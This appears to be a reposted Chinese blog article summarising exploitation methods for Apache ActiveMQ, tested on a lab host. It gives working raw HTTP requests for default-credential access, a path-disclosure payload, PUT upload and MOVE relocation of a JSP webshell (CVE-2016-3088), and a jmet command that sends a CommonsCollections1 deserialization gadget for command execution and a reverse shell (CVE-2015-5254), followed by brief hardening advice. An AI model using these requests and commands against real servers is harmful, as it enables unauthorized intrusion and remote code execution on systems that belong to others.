[应用安全]之ActiveMQ漏洞利用方法总结

栏目: Java · 发布时间: 6年前

内容简介:[应用安全]之ActiveMQ漏洞利用方法总结

应用介绍

Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯 Java 程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。 ActiveMQ 是一个完全支持 JMS1.1 J2EE 1.4 规范的 JMSProvider 实现,尽管 JMS 规范出台已经是很久的事情了,但是 JMS 在当今的 J2EE 应用中间仍然扮演着特殊的地位。

漏洞利用

ActiveMQ可以多种利用方式,但是绝大部分提及都是比较单一的利用方式。

环境:Apache ActiveMQ 5.7.0

IP:192.168.197.25

1、Console存在默认端口和默认密码/未授权访问(默认密码为admin:admin)

ActiveMQ默认使用8161端口,使用nmap对目标服务器进行扫描:

[<a href="/cdn-cgi/l/email-protection" data-cfemail="15677a7a6155797a7674797d7a6661">[email protected]</a> src]# nmap -A  -p8161 192.168.197.25 \
Starting Nmap 5.51 ( http://nmap.org ) at 2017-10-26 15:31 CST
Nmap scan report for 192.168.197.25
Host is up (0.00016s latency).
PORT     STATE SERVICE VERSION
8161/tcp open  http    Jetty httpd 7.6.7.v20120910
|_http-methods: No Allow or Public header in OPTIONS response (status code 401)
| http-auth: HTTP/1.1 401 Unauthorized
|
|_basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized

[应用安全]之ActiveMQ漏洞利用方法总结

2、ActiveMQ物理路径泄漏漏洞

ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(即不存在的目录),Response会返回相应的物理路径信息:

Request Raw:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4

test
Response Raw:
HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory)
Content-Length: 0
Server: Jetty(7.6.7.v20120910)

[应用安全]之ActiveMQ漏洞利用方法总结

3 ActiveMQ PUT 任意文件上传漏洞

ActiveMQ 默认开启 PUT 方法,当 fileserver 存在时我们可以上传 jspwebshell

Request Raw:
PUT /fileserver/shell.jsp HTTP/1.1
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 26

this is jsp webshell code.
Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)

[应用安全]之ActiveMQ漏洞利用方法总结

一般构造返回 204 响应码即为成功,笔者测试其他环境为不可 put 时,返回为 404 500 put 完成,我们查看 service 下的信息:

[<a href="/cdn-cgi/l/email-protection" data-cfemail="e5978a8a91a5898a8684898d8a9691">[email protected]</a> fileserver]# pwd
/data/apache-activemq-5.7.0/webapps/fileserver
[<a href="/cdn-cgi/l/email-protection" data-cfemail="86f4e9e9f2c6eae9e5e7eaeee9f5f2">[email protected]</a> fileserver]# ls
index.html  META-INF  shell.jsp  WEB-INF
[<a href="/cdn-cgi/l/email-protection" data-cfemail="cfbda0a0bb8fa3a0acaea3a7a0bcbb">[email protected]</a> fileserver]# cat shell.jsp 
this is jsp webshell code.
[<a href="/cdn-cgi/l/email-protection" data-cfemail="23514c4c57634f4c40424f4b4c5057">[email protected]</a> fileserver]#

4、ActiveMQ任意文件文件移动漏洞

ActiveMQ除了支持PUT协议之外,还支持MOVE协议。

Request Raw:
MOVE /fileserver/shell.jsp HTTP/1.1
Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 17

Content-Length: 0
Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)

[应用安全]之ActiveMQ漏洞利用方法总结

服务器信息如下:

[<a href="/cdn-cgi/l/email-protection" data-cfemail="addfc2c2d9edc1c2ceccc1c5c2ded9">[email protected]</a> fileserver]# ls
index.html  META-INF  shell.jsp  WEB-INF
[<a href="/cdn-cgi/l/email-protection" data-cfemail="7b0914140f3b1714181a171314080f">[email protected]</a> fileserver]# cat shell.jsp 
this is jsp webshell code.
[<a href="/cdn-cgi/l/email-protection" data-cfemail="13617c7c67537f7c70727f7b7c6067">[email protected]</a> fileserver]# ls
index.html  META-INF  shell.jsp  WEB-INF
[<a href="/cdn-cgi/l/email-protection" data-cfemail="afddc0c0dbefc3c0cccec3c7c0dcdb">[email protected]</a> fileserver]# ls
index.html  META-INF  WEB-INF
[<a href="/cdn-cgi/l/email-protection" data-cfemail="1765787863577b7874767b7f786463">[email protected]</a> fileserver]# cd ..
[<a href="/cdn-cgi/l/email-protection" data-cfemail="1e6c71716a5e72717d7f7276716d6a">[email protected]</a> webapps]# ls
admin  demo  favicon.ico  fileserver  index.html  styles
[<a href="/cdn-cgi/l/email-protection" data-cfemail="1f6d70706b5f73707c7e7377706c6b">[email protected]</a> webapps]# cd admin/
[<a href="/cdn-cgi/l/email-protection" data-cfemail="beccd1d1cafed2d1dddfd2d6d1cdca">[email protected]</a> admin]# ls
1.jsp     browse.jsp       decorators  index.jsp    META-INF            queueGraph.jsp  send.jsp   styles           topics.jsp
404.html  connection.jsp   graph.jsp   js           network.jsp         queues.jsp      shell.jsp  subscribers.jsp  WEB-INF
500.html  connections.jsp  images      message.jsp  queueConsumers.jsp  scheduled.jsp   slave.jsp  test             xml
[<a href="/cdn-cgi/l/email-protection" data-cfemail="e99b86869da985868a888581869a9d">[email protected]</a> admin]#

[应用安全]之ActiveMQ漏洞利用方法总结

[应用安全]之ActiveMQ漏洞利用方法总结

同理,写ssh key一样,在此不再重复造轮子。

影响版本:Apache ActiveMQ 5.x ~ 5.14.0

CVE信息:CVE-2016-3088

4. ActiveMQ 反序列化漏洞 (CVE-2015-5254)

ActiveMQ默认对外开启61616端口,默认为ActiveMQ消息队列端口。

其中存在一下小的细节问题:

  1. 工具releaes的为JDK 1.7,如果自己build可无视

  2. 使用 工具 需要在当前目录下创建一个external目录,否则会出现NoSuchFileException

通过构造payload,向队列发送反序列化数据到消息队列中。

(工具下载地址: https://github.com/matthiaskaiser/jmet )

[<a href="/cdn-cgi/l/email-protection" data-cfemail="592b36362d192a3c2f3a32">[email protected]</a>_v3 ~]# java -jar jmet-0.1.0-all.jar  -Q event -I ActiveMQ -s -Y "python /tmp/test.py" -Yp "CommonsCollections1" 192.168.197.25 61616
INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:sevck_v3.0-45938-1516678757604-0:1
INFO d.c.j.t.JMSTarget [main] Sent gadget "CommonsCollections1" with command: "python /tmp/test.py"
INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:sevck_v3.0-45938-1516678757604-0:1

[应用安全]之ActiveMQ漏洞利用方法总结

查看消息队列触发:

[应用安全]之ActiveMQ漏洞利用方法总结

服务器监听:

[应用安全]之ActiveMQ漏洞利用方法总结

注:如果反弹不成功可能的原因是JAVA Runtime.getRuntime().exec()中不能使用管道符,需要进行一次编码

推荐工具: http://jackson.thuraisamy.me/runtime-exec-payloads.html

影响版本: Apache ActiveMQ 5.13.0 的版本之前的存在反序列化漏洞

CVE 信息 CVE-2015-5254

5.ActiveMQ 信息泄漏漏洞(CVE-2017-15709)

在最新的版本中 apache-activemq-5.15.0 toapache-activemq-5.15.2 apache-activemq-5.14.0to apache-activemq-5.14.5 61616 默认使用了 OpenWire 协议,开启了 debug 模式, debug 模式会泄漏操作系统相关信息

[应用安全]之ActiveMQ漏洞利用方法总结

影响版本:Apache ActiveMQ5.14.0 – 5.15.2

CVE信息: CVE-2017-15709

修复建议:

  1. 针对未授权访问,可修改conf/jetty.xml文件,bean id为securityConstraint下的authenticate修改值为true,重启服务即可

  2. 针对弱口令,可修改conf/jetty.xml文件,bean id 为securityLoginService下的conf值获取用户properties,修改用户名密码,重启服务即可

  3. 针对反序列化漏洞,建议升级到最新版本,或WAF添加相关规则进行拦截

  4. 针对信息泄漏漏洞,启用TLS传输或升级到 Apache ActiveMQ 5.14.6 5.15.3 以上版本


以上所述就是小编给大家介绍的《[应用安全]之ActiveMQ漏洞利用方法总结》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

程序员的思维修炼

程序员的思维修炼

Andy Hunt / 崔康 / 人民邮电出版社 / 2010-12-10 / 39.00元

本书解释了为什么软件开发是一种精神活动,思考如何解决问题,并就开发人员如何能更好地开发软件进行了评论。书中不仅给出了一些理论上的答案,同时提供了大量实践技术和窍门。 本书供各层次软件开发人员阅读。一起来看看 《程序员的思维修炼》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

html转js在线工具
html转js在线工具

html转js在线工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具